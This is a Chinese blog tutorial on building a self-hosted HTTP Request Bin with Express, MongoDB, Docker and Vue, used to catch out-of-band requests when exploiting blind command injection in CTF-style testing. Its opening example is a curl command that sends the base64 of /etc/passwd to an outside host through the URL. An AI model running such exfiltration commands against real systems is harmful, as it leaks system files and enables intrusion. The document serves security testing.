命令注入如果没有回显,我们一般利用 curl 之类的工具,往我们的 web 服务器发送一个请求,在 url 中携带敏感信息,请求完成后查看服务器日志。例如,在靶机上调用这样的代码:

curl http://example.com/passwd-is-`cat /etc/passwd | base64`

  翻看服务器的 nginx 日志,就能知道靶机的 /etc/passwd 的内容。Request Bin 将这个过程自动化了:平台提供一个 web UI,供用户申请 request bin,并向用户实时反馈这个位置的访问记录。

  Request Bin 分为 HTTP Requestbin 和 DNS Requestbin. 常用的公共服务有 ceye.io (似乎已经挂了)、requestbin.net (国内直连非常慢)。所以我们自己实现一个 HTTP Bin,挂在国内的服务器上。

  这是我第一次用 nodejs 写网站、第一次写单页面应用。本文的代码很可能是不佳实践,敬请注意,以免误导。利用的主要技术如下:

  • nodejs + express (后端)
  • mongodb (数据库)
  • nodejs + webpack + vue (前端)
  • docker-compose (部署)

  成品:

▲ 首页 

▲ 展示板


后端:express 实现 API

  项目的后端功能非常简单:

  • 对于所有形如 /xxx/abc 的访问,记录在数据库中
  • 实现一个API,给定前缀 /pre ,查询所有 /pre/* 的访问记录。

  先建立一个 express 项目:

npm init
npm install --save express

  接下来,npm 装一下 MongoDB 和 moment 这两个库。我们连接 MongoDB 的数据库,每次访问时写入请求路径、用户 IP、访问时间。

const express = require('express')
const app = express()
const port = 3000

const moment = require('moment')

const MongoClient = require('mongodb').MongoClient;
const url = process.env.DATABASE;
const dbName = 'httpbin';

const client = new MongoClient(url, { useUnifiedTopology: true });

app.set('trust proxy', true)

function queryLogs(req, res) {
    client.connect(function(err) {
        console.log("<queryLogs>: Connected successfully to server");
        db = client.db(dbName);
    
        db.collection(req.params.binID).find().toArray(
            function(err, result) {
                if (err) throw err;

                res.setHeader("Access-Control-Allow-Origin", "*");
                res.send(result);
            }
        );
    });
}
app.get('/api/queryLogs/:binID', queryLogs)


function insertLog(req, res) {
    res.send(req.ip);

    client.connect(function(err) {
        console.log("<insertLog>: Connected successfully to server");
        db = client.db(dbName);
    
        db.collection(req.params.binID).insertOne({ip: req.ip, path: req.originalUrl, time:moment().format()})
    });
}
app.get('/:binID/*', insertLog)
app.get('/:binID', insertLog)

app.listen(port, () => console.log(`app listening on port ${port}!`))

  后端这边,有几个值得注意的地方:

  nodejs 的 MongoDB 库,对数据库的版本有要求。我们这里双方都选择了最新版。

  采用环境变量来指定数据库地址,方便开发、部署。

  trust proxy 设为 true . 这是因为,nginx 在转发请求时,我们一般选择把代理服务器的地址加入 X-Forward-For,这样如果后端是被 nginx 代理访问的,则 req.ip 会错误。而把 trust proxy 设为 true 之后,express 识别可信代理服务器(默认是几个内网的 ip 段,具体见 express 文档),然后 req.ip 就是用户的真实 ip 了。

  设置跨域策略。否则,前端与后端 API 通讯时,如果前后端不在同一个域中,会被用户的浏览器拦截请求。

后端:装进 docker

  为了维护方便,我们选择把 express 放在 docker 容器里面运行,并连接另一个 docker 容器的数据库。先写后端的 Dockerfile:

FROM node
WORKDIR /app
COPY . /app

RUN ln -sf /usr/share/zoneinfo/Asia/Shanghai /etc/localtime
RUN echo 'Asia/Shanghai' >/etc/timezone

RUN npm install


EXPOSE 3000
ENTRYPOINT sh /app/docker-entrypoint.sh
▲ 将其放在 app.js、package.json 等文件的相同目录

  先设置时区为 UTC+8,这是因为 node 镜像的默认时区是 UTC,而 moment.js 是采用系统时区的。 npm install 之后,安装了所有依赖,直接执行 node app.js 就可以运行项目了,但这里并不是直接跑 app.js ,而是把 ENTRYPOINT 设为了一个 shell 脚本:

node ./app.js

  这是一个较优的实践方案。一旦容器跑了起来,ENTRYPOINT 和 CMD 是不方便改动的。但我们可以修改这个脚本,来随时控制容器启动后的行为。另外,这个脚本只是一个文件,在容器关机情况下可以通过 docker cp 来覆盖掉,这对于很多容器一启动就退出的情况,提供了修改启动代码的机会。最后,如果容器里面的程序问题很严重,再怎么改启动代码也不可能启动,我们也可以把脚本修改为一句 bash ,来保持容器是 up 状态,从而可以 docker exec 进入容器,执行指令(例如备份数据之类的),而这在容器关机状态下是做不到的。综上所述,把 ENTRYPOINT 设为一个脚本文件而不是直接执行指令,是一个很好的维护习惯。

后端:docker-compose 编排服务

  现在我们的后端已经准备好了。整个服务分为 express 和 mongodb 两部分,我们把这两个部分分别放进容器,然后 link 起来,从而外网无法访问 mongodb,增强安全性。 docker-compose.yml 这样写:

version: '2'
services:
    web:
        build: ./backend/
        depends_on:
           - db
        environment:
           DATABASE: "mongodb://db:27017"
        ports:
           - "10101:3000"
        links:
           - "db:mongodb"
        restart: always
    db:
        image: mongo
        expose:
           - "80"
        restart: always
docker-compose.yml 的内容

  容器 web 利用 ./backend/Dockerfile 进行构建,在容器 db 启动之后再启动;环境变量 DATABASE 设为 mongodb://db:27017 ,将自己的 3000 端口映射到宿主机的 10101 端口。网络与容器 db 连接,并保持服务开启(容器关闭后自动重启)。

  容器 dbmongo 镜像启动,暴露 80 端口,保持启动。

  这里需要注意 expose 与 ports 的区别。expose 是给 link 到自己的容器访问的;ports 是映射主机端口用的。

  最后,把这套服务建立起来:

docker-compose up -d --build

  如果要暂停服务,可以用 docker-compose stop 指令。如果要删除这套服务,使用 docker-compose down 指令。


前端

  第一次用 webpack + vue 写代码,算是体会了一把前后端分离的好处。前端组件化之后,各种复用都很方便了;用 axios 与后端轮询通讯,以 500ms 的周期更新表格。

  顺带一提,由于前后端完全分离,前端可以部署在 github pages 之类的静态页面上。最后的成品部署在了 Coding Pages : https://bin.hitctf.cn/

  您也可以在下面这个 iframe 里面直接使用: